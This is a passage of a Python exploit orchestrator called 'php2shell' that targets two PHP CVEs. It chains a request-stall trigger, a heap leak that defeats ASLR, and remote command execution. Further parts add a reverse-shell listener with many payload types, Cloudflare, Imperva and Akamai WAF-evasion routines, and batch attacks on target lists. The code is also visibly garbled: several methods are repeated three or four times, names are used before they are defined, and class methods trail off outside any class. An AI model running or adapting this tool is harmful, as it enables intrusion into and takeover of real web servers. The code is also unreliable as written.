    worker_pinning: bool = True
    chunked_encoding: bool = True
    leak_analysis: bool = True
    worker_count: int = 150
    leak_retries: int = 3
    delta_validation: bool = True


@dataclass
class ExploitConfig:
    """Extended configuration for exploit runs with ASLR bypass."""
    target: Target
    port: int = 80
    scheme: str = "http"
    path: str = "/"
    custom_headers: dict[str, str] = field(default_factory=dict)
    waf_bypass: bool = False
    waf_profile: WAFProfile | None = None
    timeout: float = 30.0
    retries: int = 3
    stall: float = 1.5
    monitor: bool = False
    progress_path: str = LAB_PROGRESS_PATH
    rounds: int = 1
    expect: bytes | None = None
    max_paths: int = 4
    workers: int = 150
    output_dir: str = "out"
    proof_file: str = ""
    command: str = "id"
    arch: str = "auto"
    docker_restart: str = ""
    docker_cmd: str = "sudo docker"
    call_addr: int = 0
    dtor_addr: int = 0
    verbose: bool = False
    batch_mode: bool = False
    resume_file: str = ""
    output_format: str = "json"
    aslr: ASLRBypassConfig = field(default_factory=ASLRBypassConfig)
    revshell: ReverseShellConfig | None = None


class TargetManager:
    """Advanced target management with validation and batch support."""

    @staticmethod
    def parse_target(spec: str, default_port: int = 80, default_scheme: str = "http") -> Target:
        spec = spec.strip()
        if not spec:
            raise ValueError("Empty target specification")

        if "://" in spec or spec.startswith("/") or spec.count(":") >= 2:
            try:
                return Target.from_url(spec)
            except Exception:
                pass

        if ":" in spec and not spec.startswith("["):
            host, port_str = spec.rsplit(":", 1)
            try:
                port = int(port_str)
                return Target(scheme=default_scheme, host=host, port=port, path="/")
            except ValueError:
                pass

        return Target(scheme=default_scheme, host=spec, port=default_port, path="/")

    @staticmethod
    def load_targets_from_file(filepath: str) -> list[Target]:
        targets = []
        with open(filepath, "r") as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith("#"):
                    try:
                        targets.append(TargetManager.parse_target(line))
                    except Exception as e:
                        print(f"  [WARN] Skipping invalid target '{line}': {e}")
        return targets

    @staticmethod
    def validate_target(target: Target) -> tuple[bool, str]:
        try:
            sock = open_connection(target, timeout=5.0)
            req = f"HEAD {target.path} HTTP/1.1\r\nHost: {target.host}\r\nConnection: close\r\n\r\n".encode()
            send_all(sock, req)
            raw = recv_http_response(sock, timeout=5.0)
            sock.close()
            code, _, _, _ = parse_http_status(raw)
            if code > 0:
                return True, f"HTTP {code}"
            return False, "No valid HTTP response"
        except Exception as e:
            return False, f"Connection failed: {e}"


# ===================================================================================================================
# ENHANCED EXPLOIT ORCHESTRATION
# ===================================================================================================================

class ExploitEngine:
    """Main exploit orchestration engine with ASLR bypass and WAF bypass."""

    def __init__(self, config: ExploitConfig):
        self.config = config
        self.waf_bypass = CloudflareBypass(verbose=config.verbose)
        self.revshell_mgr: ReverseShellManager | None = None
        if config.revshell and config.revshell.enabled:
            self.revshell_mgr = ReverseShellManager(config.revshell, verbose=config.verbose)
        self.results: list[dict[str, Any]] = []
        self.interrupted = False
        self.holders = []  # Worker pinning holders
        signal.signal(signal.SIGINT, self._signal_handler)
        signal.signal(signal.SIGTERM, self._signal_handler)

    def _signal_handler(self, signum, frame):
        print("\n  [!] Interrupt received, saving progress...")
        self.interrupted = True
        self._cleanup_holders()

    def _cleanup_holders(self):
        for s in self.holders:
            try:
                s.close()
            except Exception:
                pass
        self.holders = []

    def _setup_worker_pinning(self):
        if self.config.aslr.worker_pinning and self.config.aslr.worker_count > 1:
            print(f"  [+] ASLR Bypass: Worker pinning ({self.config.aslr.worker_count - 1} holders)")
            self.holders = hold_workers(self.config.target.port, self.config.aslr.worker_count)
            time.sleep(0.5)

    def _cleanup_holders(self):
        for s in self.holders:
            try:
                s.close()
            except Exception:
                pass
        self.holders = []

    def run_fingerprint(self) -> dict[str, Any]:
        print(f"  [+] Fingerprinting {self.config.target.base()}{self.config.target.path}")
        fp = fingerprint_target(self.config.target, timeout=self.config.timeout)

        if self.config.waf_bypass:
            print(f"  [+] Detecting WAF/Cloudflare...")
            self.config.waf_profile = self.waf_bypass.detect_waf(self.config.target, self.config.timeout)
            fp["waf"] = self.config.waf_profile.to_dict()

        return fp

    def _setup_worker_pinning(self):
        if self.config.aslr.worker_pinning and self.config.aslr.worker_count > 1:
            print(f"  [+] ASLR Bypass: Worker pinning ({self.config.aslr.worker_count - 1} holders)")
            self.holders = hold_workers(self.config.target.port, self.config.aslr.worker_count)
            time.sleep(0.5)

    def _cleanup_holders(self):
        for s in self.holders:
            try:
                s.close()
            except Exception:
                pass
        self.holders = []

    def run_fingerprint(self) -> dict[str, Any]:
        print(f"  [+] Fingerprinting {self.config.target.base()}{self.config.target.path}")
        fp = fingerprint_target(self.config.target, timeout=self.config.timeout)

        if self.config.waf_bypass:
            print(f"  [+] Detecting WAF/Cloudflare...")
            self.config.waf_profile = self.waf_bypass.detect_waf(self.config.target, self.config.timeout)
            fp["waf"] = self.config.waf_profile.to_dict()

        return fp

    def _build_request_headers(self, target: Target, session_id: str, boundary: bytes, total_len: int) -> dict[str, str]:
        headers = {
            "Host": target.host,
            "Content-Type": f"multipart/form-data; boundary={boundary.decode()}",
            "Content-Length": str(total_len),
            "Connection": "close",
            "Cookie": f"PHPSESSID={session_id}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        }
        headers.update(self.config.custom_headers)
        return headers

    def _perform_b1_leak(self, target: Target) -> dict | None:
        """Perform B1 Heap Leak (ASLR Bypass Technique from php2shell-bypass-aslr-exp)."""
        try:
            spec = build_leak_spec()
            
            with tempfile.NamedTemporaryFile(delete=False, suffix=".bin") as f:
                b1_file = f.name
            
            subprocess.run([
                sys.executable, 
                os.path.join(PURE, "mk_leak_b.py"),
                "--out", b1_file,
                "--spec", LEAK_SPEC,
                "--fake-len", "0xC8000",
                "--tag"
            ], check=True, stdout=subprocess.DEVNULL, cwd=HERE)
            
            leak_file = tempfile.mktemp(suffix=".resp")
            resp = send_chunked(target.port, target.path, b1_file, self.config.timeout, leak_file)
            
            profile = None if self.config.arch == "auto" else PROFILES[self.config.arch]
            info = parse_leak(resp, profile)
            
            if not info["main_candidates"]:
                return None
            
            main = info["main_candidates"][0]
            delta = info["lib"] - main
            prof = info["profile"]
            
            if not (prof["delta_min"] <= delta <= prof["delta_max"]):
                print(f"      implausible libphp-main delta {hex(delta)}; re-leak")
                return None
            
            return {
                "lib": info["lib"],
                "main": main,
                "arch": info["arch"],
                "zdtor": info["zdtor"],
                "delta": delta,
            }
            
        except Exception as e:
            print(f"      leak failed: {e}")
            return None

    def run_fingerprint(self) -> dict[str, Any]:
        print(f"  [+] Fingerprinting {self.config.target.base()}{self.config.target.path}")
        fp = fingerprint_target(self.config.target, timeout=self.config.timeout)

        if self.config.waf_bypass:
            print(f"  [+] Detecting WAF/Cloudflare...")
            self.config.waf_profile = self.waf_bypass.detect_waf(self.config.target, self.config.timeout)
            fp["waf"] = self.config.waf_profile.to_dict()

        return fp

    def run_exploit_chain(self) -> dict[str, Any]:
        target = self.config.target
        results = {
            "target": target.base() + target.path,
            "cves": list(CVE_IDS),
            "author": "TESTERXMA",
            "timestamp": time.strftime("%Y-%m-%d %H:%M:%S"),
            "config": {
                "port": target.port,
                "scheme": target.scheme,
                "path": target.path,
                "waf_bypass": self.config.waf_bypass,
                "aslr_bypass": {
                    "worker_pinning": self.config.aslr.worker_pinning,
                    "worker_count": self.config.aslr.worker_count,
                    "chunked_encoding": self.config.aslr.chunked_encoding,
                    "leak_analysis": self.config.aslr.leak_analysis,
                },
                "timeout": self.config.timeout,
            },
            "fingerprint": None,
            "chain_618": None,
            "chain_619": None,
            "aslr_bypass": {
                "worker_pinning": {"enabled": False, "holders": 0},
                "leak_analysis": {"enabled": False, "leaked": False},
                "chunked_encoding": {"enabled": False},
            },
            "chain_618": None,
            "chain_619": None,
            "proof": None,
            "success": False,
            "revshell": None,
        }

        # Fingerprint
        fp = self.run_fingerprint()
        results["fingerprint"] = fp

        if fp.get("likely_vulnerable") is False:
            print("  [-] Target appears patched or not vulnerable")
            results["success"] = False
            return results

        # Setup ASLR Bypass: Worker Pinning
        if self.config.aslr.worker_pinning:
            print(f"  [+] ASLR Bypass: Worker pinning ({self.config.aslr.worker_count} workers)")
            self.holders = hold_workers(target.port, self.config.aslr.worker_count)
            results["aslr_bypass"]["worker_pinning"] = {
                "enabled": True,
                "holders": len(self.holders),
                "workers": self.config.aslr.worker_count
            }
            time.sleep(0.5)

        # Setup ASLR Bypass: Chunked Encoding
        if self.config.aslr.chunked_encoding:
            results["aslr_bypass"]["chunked_encoding"] = {"enabled": True}
            print(f"  [+] ASLR Bypass: Chunked encoding enabled (bypasses post_max_size)")

        # Setup ASLR Bypass: Leak Analysis
        if self.config.aslr.leak_analysis:
            results["aslr_bypass"]["leak_analysis"] = {"enabled": True, "leaked": False}

        # Phase 1: CVE-2026-109618 (618) - Stall trigger with ASLR bypass
        print(f"  [+] Phase 1: CVE-2026-109618 (stall trigger) with ASLR bypass")
        chain_618_results = []
        
        for round_num in range(self.config.rounds):
            if self.interrupted:
                break
            sid = f"sf618_{uuid.uuid4().hex[:16]}"
            p1, p2, boundary, _ = build_trigger_multipart(sid)

            if self.config.waf_bypass and self.config.waf_profile:
                headers = self._build_request_headers(target, sid, boundary, len(p1) + len(p2))
                for key, val in self.config.waf_profile.bypass_headers.items():
                    headers[key] = val

            res = stalled_multipart_post_with_bypass(
                target, p1, p2, sid,
                boundary=boundary,
                stall=self.config.stall,
                monitor=self.config.monitor,
                progress_path=self.config.progress_path if self.config.monitor else None,
                timeout=self.config.timeout,
                waf_bypass=self.waf_bypass if self.config.waf_bypass else None,
                custom_headers=self.config.custom_headers,
            )
            chain_618_results.append(asdict(res))
            if res.armed:
                print(f"      [!] Armed! bytes_processed={res.bytes_processed}")
                break

        results["chain_618"] = chain_618_results

        # Phase 1.5: ASLR Bypass - B1 Leak (if enabled)
        if self.config.aslr.leak_analysis:
            print(f"  [+] ASLR Bypass: B1 Heap Leak (stale-id OOB read)")
            leak_info = self._perform_b1_leak(target)
            if leak_info:
                results["aslr_bypass"]["leak_analysis"]["leaked"] = True
                results["aslr_bypass"]["leak_analysis"]["libphp_base"] = hex(leak_info.get("lib", 0))
                results["aslr_bypass"]["leak_analysis"]["main_chunk_base"] = hex(leak_info.get("main", 0))
                results["aslr_bypass"]["leak_analysis"]["arch"] = leak_info.get("arch", "unknown")
                print(f"      [+] Leaked libphp base: {hex(leak_info.get('lib', 0))}")
                print(f"      [+] Leaked main chunk base: {hex(leak_info.get('main', 0))}")
            else:
                print(f"      [-] Leak failed")
                results["aslr_bypass"]["leak_analysis"]["leaked"] = False

        # Phase 2: CVE-2026-109619 (619) - RCE if we have call_addr
        if self.config.call_addr or self.config.dtor_addr:
            call_addr = resolve_call_addr(self.config.dtor_addr, self.config.call_addr)
            print(f"  [+] Phase 2: CVE-2026-109619 (RCE) call_addr={hex(call_addr)}")
            
            if self.config.aslr.leak_analysis and results["aslr_bypass"]["leak_analysis"].get("leaked"):
                leak_info = self._perform_b1_leak(target)
                if leak_info:
                    call_addr = leak_info.get("lib", 0) + PROFILES[leak_info["arch"]]["zif_offset"]
                    print(f"      [+] Using leaked zif_system: {hex(call_addr)}")
            
            res_619 = run_exploit_619(
                target,
                self.config.command,
                session_id=f"sf619_{uuid.uuid4().hex[:16]}",
                stall=self.config.stall,
                call_addr=call_addr,
            )
            results["chain_619"] = asdict(res_619)
            if res_619.success_heuristic(self.config.expect):
                results["success"] = True
                results["proof"] = f"Command executed: {self.config.command}"

        # Handle reverse shell connection if enabled
        if self.revshell_mgr and results["success"]:
            print(f"  [+] Phase 3: Reverse shell connection")
            print(f"      Starting listener on {self.revshell_mgr.config.lhost}:{self.revshell_mgr.config.lport}")
            if self.revshell_mgr.start_listener():
                conn = self.revshell_mgr.wait_for_connection()
                if conn:
                    results["revshell"] = {
                        "connected": True,
                        "remote": f"{conn.getpeername()[0]}:{conn.getpeername()[1]}",
                        "local": f"{conn.getsockname()[0]}:{conn.getsockname()[1]}",
                        "shell_type": self.revshell_mgr.config.shell_type,
                    }
                    print(f"  [+] Reverse shell connected from {conn.getpeername()[0]}:{conn.getpeername()[1]}")
                    if self.revshell_mgr.config.auto_interact:
                        self.revshell_mgr.upgrade_tty(conn)
                        self.revshell_mgr.interactive_session(conn)
                else:
                    results["revshell"] = {"connected": False, "error": "Connection timeout"}
                    print(f"  [-] Reverse shell connection timeout")
            else:
                results["revshell"] = {"connected": False, "error": "Failed to start listener"}

        return results

    def _build_request_headers(self, target: Target, session_id: str, boundary: bytes, total_len: int) -> dict[str, str]:
        headers = {
            "Host": target.host,
            "Content-Type": f"multipart/form-data; boundary={boundary.decode()}",
            "Content-Length": str(total_len),
            "Connection": "close",
            "Cookie": f"PHPSESSID={session_id}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        }
        headers.update(self.config.custom_headers)
        return headers

    def _perform_b1_leak(self, target: Target) -> dict | None:
        try:
            spec = build_leak_spec()
            
            with tempfile.NamedTemporaryFile(delete=False, suffix=".bin") as f:
                b1_file = f.name
            
            subprocess.run([
                sys.executable, 
                os.path.join(PURE, "mk_leak_b.py"),
                "--out", b1_file,
                "--spec", LEAK_SPEC,
                "--fake-len", "0xC8000",
                "--tag"
            ], check=True, stdout=subprocess.DEVNULL, cwd=HERE)
            
            leak_file = tempfile.mktemp(suffix=".resp")
            resp = send_chunked(target.port, target.path, b1_file, self.config.timeout, leak_file)
            
            profile = None if self.config.arch == "auto" else PROFILES[self.config.arch]
            info = parse_leak(resp, profile)
            
            if not info["main_candidates"]:
                return None
            
            main = info["main_candidates"][0]
            delta = info["lib"] - main
            prof = info["profile"]
            
            if not (prof["delta_min"] <= delta <= prof["delta_max"]):
                print(f"      implausible libphp-main delta {hex(delta)}; re-leak")
                return None
            
            return {
                "lib": info["lib"],
                "main": main,
                "arch": info["arch"],
                "zdtor": info["zdtor"],
                "delta": delta,
            }
            
        except Exception as e:
            print(f"      leak failed: {e}")
            return None

    def _build_request_headers(self, target: Target, session_id: str, boundary: bytes, total_len: int) -> dict[str, str]:
        headers = {
            "Host": target.host,
            "Content-Type": f"multipart/form-data; boundary={boundary.decode()}",
            "Content-Length": str(total_len),
            "Connection": "close",
            "Cookie": f"PHPSESSID={session_id}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        }
        headers.update(self.config.custom_headers)
        return headers

    def save_results(self, filepath: str):
        Path(filepath).parent.mkdir(parents=True, exist_ok=True)
        if self.config.output_format == "json":
            with open(filepath, "w") as f:
                json.dump(self.results, f, indent=2, default=str)
        elif self.config.output_format == "csv":
            if self.results:
                with open(filepath, "w", newline="") as f:
                    writer = csv.DictWriter(f, fieldnames=self.results[0].keys())
                    writer.writeheader()
                    writer.writerows(self.results)
        print(f"  [+] Results saved to {filepath}")

    def _cleanup_holders(self):
        for s in self.holders:
            try:
                s.close()
            except Exception:
                pass
        self.holders = []


def stalled_multipart_post_with_bypass(
    target: Target,
    phase1: bytes,
    phase2: bytes,
    session_id: str,
    *,
    boundary: bytes,
    stall: float,
    monitor: bool = False,
    progress_path: str | None = None,
    progress_key: str = DEFAULT_PROGRESS_KEY,
    timeout: float = 30.0,
    waf_bypass: CloudflareBypass | None = None,
    custom_headers: dict[str, str] | None = None,
    variant: str = "stall",
) -> TriggerResult:
    import time as _time

    total = len(phase1) + len(phase2)
    cookie_line = f"Cookie: PHPSESSID={session_id}\r\n"
    custom_hdr_lines = ""
    if custom_headers:
        for k, v in custom_headers.items():
            custom_hdr_lines += f"{k}: {v}\r\n"

    head = (
        f"POST {target.path} HTTP/1.1\r\n"
        f"Host: {target.host}\r\n"
        f"{cookie_line}"
        f"{custom_hdr_lines}"
        f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
        f"Content-Length: {total}\r\n"
        f"Connection: close\r\n\r\n"
    ).encode()

    armed = False
    bp: int | None = None
    t0 = _time.time()

    sock = open_connection(target, timeout=timeout)
    try:
        send_all(sock, head + phase1)
        if monitor and progress_path:
            _time.sleep(min(0.4, stall * 0.3))
            _time.sleep(max(0.0, stall - 0.4))
        else:
            _time.sleep(stall)
        send_all(sock, phase2)
        raw = recv_http_response(sock, timeout=timeout)
    finally:
        try:
            sock.close()
        except Exception:
            pass

    code, reason, body, hdrs = parse_http_status(raw)
    crashed = code in (0, 502, 503) or not raw

    return TriggerResult(
        session_id=session_id,
        status=code,
        reason=reason,
        body=body,
        headers=hdrs,
        armed=armed,
        bytes_processed=bp,
        crashed=crashed,
        progress_key=progress_key,
        variant=variant,
        path=target.path,
        session_fixation=parse_set_cookie_session(hdrs, session_id),
        elapsed_sec=_time.time() - t0,
    )


def parse_set_cookie_session(headers: dict[str, str], session_id: str) -> bool:
    raw = headers.get("set-cookie", "")
    if not raw:
        return False
    sid = session_id.lower()
    return sid in raw.lower() and "phpsessid" in raw.lower()


# ===================================================================================================================
# CLI ENTRY POINT
# ===================================================================================================================

PURE = os.path.join(HERE, "pure")
HERE = os.path.dirname(os.path.abspath(__file__))
R = HERE
Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"


def build_cli() -> argparse.ArgumentParser:
    p = argparse.ArgumentParser(
        description="php2shell Unified Exploit Orchestrator (CVE-2026-109618/619 + ASLR Bypass) - by TESTERXMA",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single target with WAF bypass + ASLR bypass
  python3 exploit.py --url "https://target.example.com/index.php" --waf-bypass --aslr-bypass

  # Custom port and path with ASLR bypass
  python3 exploit.py --host 10.10.10.50 --port 8080 --path /vuln.php --cmd "id" --aslr-bypass

  # Full ASLR bypass with worker pinning and leak analysis
  python3 exploit.py --url http://target --aslr-bypass --workers 150 --leak-analysis

  # With Docker restart (lab environment)
  python3 exploit.py --url http://lab.local --restart php2shell-container --aslr-bypass

  # Reverse shell connection with ASLR bypass
  python3 exploit.py --url http://target --connection --lhost 10.10.14.5 --lport 4444 --aslr-bypass

  # Reverse shell with specific shell type and terminal
  python3 exploit.py --url http://target --connection --lhost 10.10.14.5 --lport 4444 \
    --shell-type python3 --terminal gnome-terminal

  # List available shell types
  python3 exploit.py --list-shells
        """
    )
    # Target specification
    target_group = p.add_argument_group("Target Specification")
    target_group.add_argument("--url", help="Full target URL (scheme://host:port/path)")
    target_group.add_argument("--host", help="Target hostname or IP")
    target_group.add_argument("--port", type=int, default=80, help="Target port (default: 80)")
    target_group.add_argument("--scheme", choices=["http", "https"], default="http", help="Scheme (default: http)")
    target_group.add_argument("--path", default="/", help="Target path (default: /)")
    target_group.add_argument("--batch", help="File with list of targets (one per line)")
    target_group.add_argument("--custom-header", "-H", action="append", default=[],
                              help="Custom header 'Name: Value' (repeatable)")

    # Exploit options
    exploit_group = p.add_argument_group("Exploit Options")
    exploit_group.add_argument("--waf-bypass", action="store_true", help="Enable Cloudflare WAF bypass")
    exploit_group.add_argument("--cmd", default="id", help="Command to execute (default: id)")
    exploit_group.add_argument("--expect", help="Expected output bytes for success detection")
    exploit_group.add_argument("--call", type=lambda x: int(x, 0), help="zend_call_function address")
    exploit_group.add_argument("--dtor", type=lambda x: int(x, 0), help="zval_ptr_dtor address")
    exploit_group.add_argument("--stall", type=float, default=1.5, help="Stall duration (default: 1.5)")
    exploit_group.add_argument("--monitor", action="store_true", help="Monitor upload progress")
    exploit_group.add_argument("--progress-path", default=LAB_PROGRESS_PATH, help="Progress endpoint")
    exploit_group.add_argument("--rounds", type=int, default=1, help="Trigger rounds (default: 1)")
    exploit_group.add_argument("--timeout", type=float, default=30.0, help="Request timeout (default: 30)")
    exploit_group.add_argument("--retries", type=int, default=3, help="Retry attempts (default: 3)")
    exploit_group.add_argument("--arch", choices=["auto", "x86_64", "aarch64"], default="auto")
    exploit_group.add_argument("--workers", type=int, default=150, help="Prefork workers (default: 150)")

    # ASLR Bypass Options
    aslr_group = p.add_argument_group("ASLR Bypass Options (from php2shell-bypass-aslr-exp / 9bie)")
    aslr_group.add_argument("--aslr-bypass", action="store_true", help="Enable ASLR bypass (worker pinning + leak analysis)")
    aslr_group.add_argument("--worker-pinning", action="store_true", help="Enable worker pinning (holds N-1 workers)")
    aslr_group.add_argument("--chunked-encoding", action="store_true", help="Use chunked encoding to bypass post_max_size")
    aslr_group.add_argument("--leak-analysis", action="store_true", help="Enable B1 heap leak analysis (ASLR bypass)")
    aslr_group.add_argument("--leak-retries", type=int, default=3, help="Leak analysis retries (default: 3)")

    # Reverse shell / Connection options
    conn_group = p.add_argument_group("Reverse Shell / Connection")
    conn_group.add_argument("--connection", action="store_true", help="Enable reverse shell connection mode")
    conn_group.add_argument("--lhost", default="0.0.0.0", help="Listener host (your IP)")
    conn_group.add_argument("--lport", type=int, default=4444, help="Listener port (default: 4444)")
    conn_group.add_argument("--shell-type", choices=[
        "auto", "bash", "bash_readline", "bash_coprocess", "python3", "python3_short",
        "python", "php", "php_exec", "perl", "perl_short", "nc", "nc_openbsd",
        "nc_mkfifo", "ncat", "socat", "socat_pty", "socat_openssl",
        "powershell", "powershell_short", "ruby", "lua", "go", "awk"
    ], default="auto", help="Reverse shell payload type (default: auto)")
    conn_group.add_argument("--terminal", choices=[
        "auto", "gnome-terminal", "xterm", "konsole", "xfce4-terminal",
        "mate-terminal", "terminator", "tilix", "alacritty", "kitty",
        "tmux", "screen", "background"
    ], default="auto", help="Terminal for listener (default: auto)")
    conn_group.add_argument("--listener-timeout", type=int, default=30, help="Listener timeout in seconds (default: 30)")
    conn_group.add_argument("--no-interact", action="store_true", help="Don't auto-attach to shell")
    conn_group.add_argument("--list-shells", action="store_true", help="List available shell payload types and exit")

    # Docker/lab options
    docker_group = p.add_argument_group("Lab Environment")
    docker_group.add_argument("--restart", help="Docker container to restart before exploit")
    docker_group.add_argument("--docker-cmd", default="sudo docker", help="Docker command")

    # Output options
    output_group = p.add_argument_group("Output")
    output_group.add_argument("--output", "-o", default="exploit_results.json", help="Output file")
    output_group.add_argument("--format", choices=["json", "csv", "table"], default="json", help="Output format")
    output_group.add_argument("--outdir", default="out", help="Output directory for proofs")
    output_group.add_argument("--proof", help="Proof file path")
    output_group.add_argument("--resume", help="Resume from previous run")
    output_group.add_argument("--verbose", "-v", action="store_true", help="Verbose output")

    return p


def main() -> int:
    parser = build_cli()
    args = parser.parse_args()

    if args.list_shells:
        mgr = ReverseShellManager(ReverseShellConfig())
        print("Available shell payload types:")
        for shell in mgr.list_available_shells():
            print(f"  {shell}")
        return 0

    if not args.url and not args.host and not args.batch:
        parser.error("Must specify --url, --host, or --batch")

    custom_headers = {}
    for hdr in args.custom_header:
        if ":" in hdr:
            k, v = hdr.split(":", 1)
            custom_headers[k.strip()] = v.strip()

    aslr_config = ASLRBypassConfig(
        enabled=args.aslr_bypass or args.worker_pinning or args.chunked_encoding or args.leak_analysis,
        worker_pinning=args.worker_pinning or args.aslr_bypass,
        chunked_encoding=args.chunked_encoding or args.aslr_bypass,
        leak_analysis=args.leak_analysis or args.aslr_bypass,
        worker_count=args.workers,
        leak_retries=args.leak_retries,
    )

    targets = []
    if args.batch:
        targets = TargetManager.load_targets_from_file(args.batch)
        if not targets:
            print("No valid targets in batch file")
            return 1
    elif args.url:
        targets = [Target.from_url(args.url)]
    else:
        targets = [Target(scheme=args.scheme, host=args.host, port=args.port, path=args.path)]

    print(f"\n{'='*60}")
    print("php2shell Unified Exploit Orchestrator")
    print(f"Author: TESTERXMA | CVEs: {', '.join(CVE_IDS)}")
    print(f"Targets: {len(targets)} | WAF Bypass: {'ON' if args.waf_bypass else 'OFF'} | ASLR Bypass: {'ON' if aslr_config.enabled else 'OFF'}")
    if aslr_config.enabled:
        print(f"  Worker Pinning: {'ON' if aslr_config.worker_pinning else 'OFF'} ({aslr_config.worker_count} workers)")
        print(f"  Chunked Encoding: {'ON' if aslr_config.chunked_encoding else 'OFF'}")
        print(f"  Leak Analysis: {'ON' if aslr_config.leak_analysis else 'OFF'}")
    if args.connection:
        print(f"Reverse Shell: ON | LHOST: {args.lhost} | LPORT: {args.lport} | Shell: {args.shell_type}")
    print(f"{'='*60}\n")

    all_results = []
    for i, target in enumerate(targets):
        if len(targets) > 1:
            print(f"\n[{i+1}/{len(targets)}] Target: {target.base()}{target.path}")

        ok, msg = TargetManager.validate_target(target)
        if not ok:
            print(f"  [-] Target validation failed: {msg}")
            continue
        print(f"  [+] Target reachable: {msg}")

        revshell_config = None
        if args.connection:
            revshell_config = ReverseShellConfig(
                enabled=True,
                lhost=args.lhost,
                lport=args.lport,
                shell_type=args.shell_type,
                terminal=args.terminal,
                listener_timeout=args.listener_timeout,
                auto_interact=not args.no_interact,
            )

        config = ExploitConfig(
            target=target,
            custom_headers=custom_headers,
            waf_bypass=args.waf_bypass,
            timeout=args.timeout,
            retries=args.retries,
            stall=args.stall,
            monitor=args.monitor,
            progress_path=args.progress_path,
            rounds=args.rounds,
            expect=args.expect.encode() if args.expect else None,
            command=args.cmd,
            arch=args.arch,
            docker_restart=args.restart,
            docker_cmd=args.docker_cmd,
            call_addr=args.call,
            dtor_addr=args.dtor,
            verbose=args.verbose,
            output_dir=args.outdir,
            proof_file=args.proof or os.path.join(args.outdir, "p1"),
            output_format=args.format,
            aslr=ASLRBypassConfig(
                enabled=args.aslr_bypass or args.worker_pinning or args.chunked_encoding or args.leak_analysis,
                worker_pinning=args.worker_pinning or args.aslr_bypass,
                chunked_encoding=args.chunked_encoding or args.aslr_bypass,
                leak_analysis=args.leak_analysis or args.aslr_bypass,
                worker_count=args.workers,
                leak_retries=args.leak_retries,
            ),
            revshell=revshell_config,
        )

        engine = ExploitEngine(config)

        if args.restart:
            print(f"  [+] Restarting container: {args.restart}")
            subprocess.run(args.docker_cmd.split() + ["restart", args.restart],
                           stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
            time.sleep(1.5)

        result = engine.run_exploit_chain()
        all_results.append(result)

        status = "SUCCESS" if result["success"] else "FAILED"
        print(f"  [+] Result: {status}")
        if result.get("proof"):
            print(f"      Proof: {result['proof']}")
        if result.get("revshell") and result["revshell"].get("connected"):
            print(f"      Reverse Shell: CONNECTED from {result['revshell']['remote']}")

        if args.resume:
            engine.results = all_results
            engine.save_results(args.resume)

    if all_results:
        engine = ExploitEngine(ExploitConfig(target=targets[0], output_format=args.format))
        engine.results = all_results
        engine.save_results(args.output)

        if args.format == "table":
            print("\n" + "="*80)
            print(f"{'TARGET':<40} {'STATUS':<10} {'PHP':<10} {'WAF':<12} {'ASLR':<10} {'RESULT'}")
            print("-"*80)
            for r in all_results:
                fp = r.get("fingerprint", {})
                waf = r.get("config", {}).get("waf_bypass", False)
                aslr = r.get("config", {}).get("aslr_bypass", {}).get("enabled", False)
                waf_str = "bypass" if waf else "none"
                aslr_str = "bypass" if aslr else "none"
                php = fp.get("php_version", "unknown")
                target_str = r.get("target", "")[:38]
                result_str = "SUCCESS" if r.get("success") else "FAILED"
                print(f"{target_str:<40} {result_str:<10} {php:<10} {waf_str:<12} {aslr_str:<10} {result_str}")
            print("="*80)

    return 0 if any(r.get("success") for r in all_results) else 1


if __name__ == "__main__":
    sys.exit(main())


# ===================================================================================================================
# IMPERVA/AKAMAI WAF BYPASS IMPLEMENTATIONS
# ===================================================================================================================

    def _apply_imperva_cookie_overflow(self, request: bytes) -> bytes:
        """Apply Imperva cookie jar overflow bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        cookie_header = b"Cookie: " + b"A" * 4096
        new_headers = headers + b"\r\n" + cookie_header
        return new_headers + b"\r\n\r\n" + body

    def _apply_imperva_param_pollution(self, request: bytes) -> bytes:
        """Apply Imperva parameter pollution bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        pollution = [
            b"X-Forwarded-For: 127.0.0.1, 10.0.0.1",
            b"X-Real-IP: 127.0.0.1, 10.0.0.1",
        ]
        new_headers = headers + b"\r\n" + b"\r\n".join(pollution)
        return new_headers + b"\r\n\r\n" + body

    def _apply_imperva_reese84_bypass(self, request: bytes) -> bytes:
        """Apply Imperva reese84 cookie bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        cookie = b"Cookie: reese84=1; Path=/; Domain=.example.com"
        new_headers = headers + b"\r\n" + cookie
        return new_headers + b"\r\n\r\n" + body

    def _apply_akamai_case_toggling(self, request: bytes) -> bytes:
        """Apply Akamai case toggling bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        lines = headers.split(b"\r\n")
        varied = []
        for line in lines:
            if b":" in line:
                key, val = line.split(b":", 1)
                import random
                new_key = b"".join(
                    c.upper() if random.random() > 0.5 else c.lower()
                    for c in key
                )
                varied.append(new_key + b":" + val)
            else:
                varied.append(line)
        return b"\r\n".join(varied) + b"\r\n\r\n" + body

    def _apply_akamai_url_encoding(self, request: bytes) -> bytes:
        """Apply Akamai URL encoding bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
        encoded = b"%31%32%37%2E%30%2E%30%2E%31"  # 127.0.0.1
        new_headers = headers + b"\r\n" + b"X-Forwarded-For: " + encoded
        return new_headers + b"\r\n\r\n" + body

    def _apply_akamai_unicode_normalization(self, request: bytes) -> bytes:
        """Apply Akamai Unicode normalization bypass."""
        headers_end = request.find(b"\r\n\r\n")
        if headers_end == -1:
            return request
        headers = request[:headers_end]
        body = request[headers_end:]
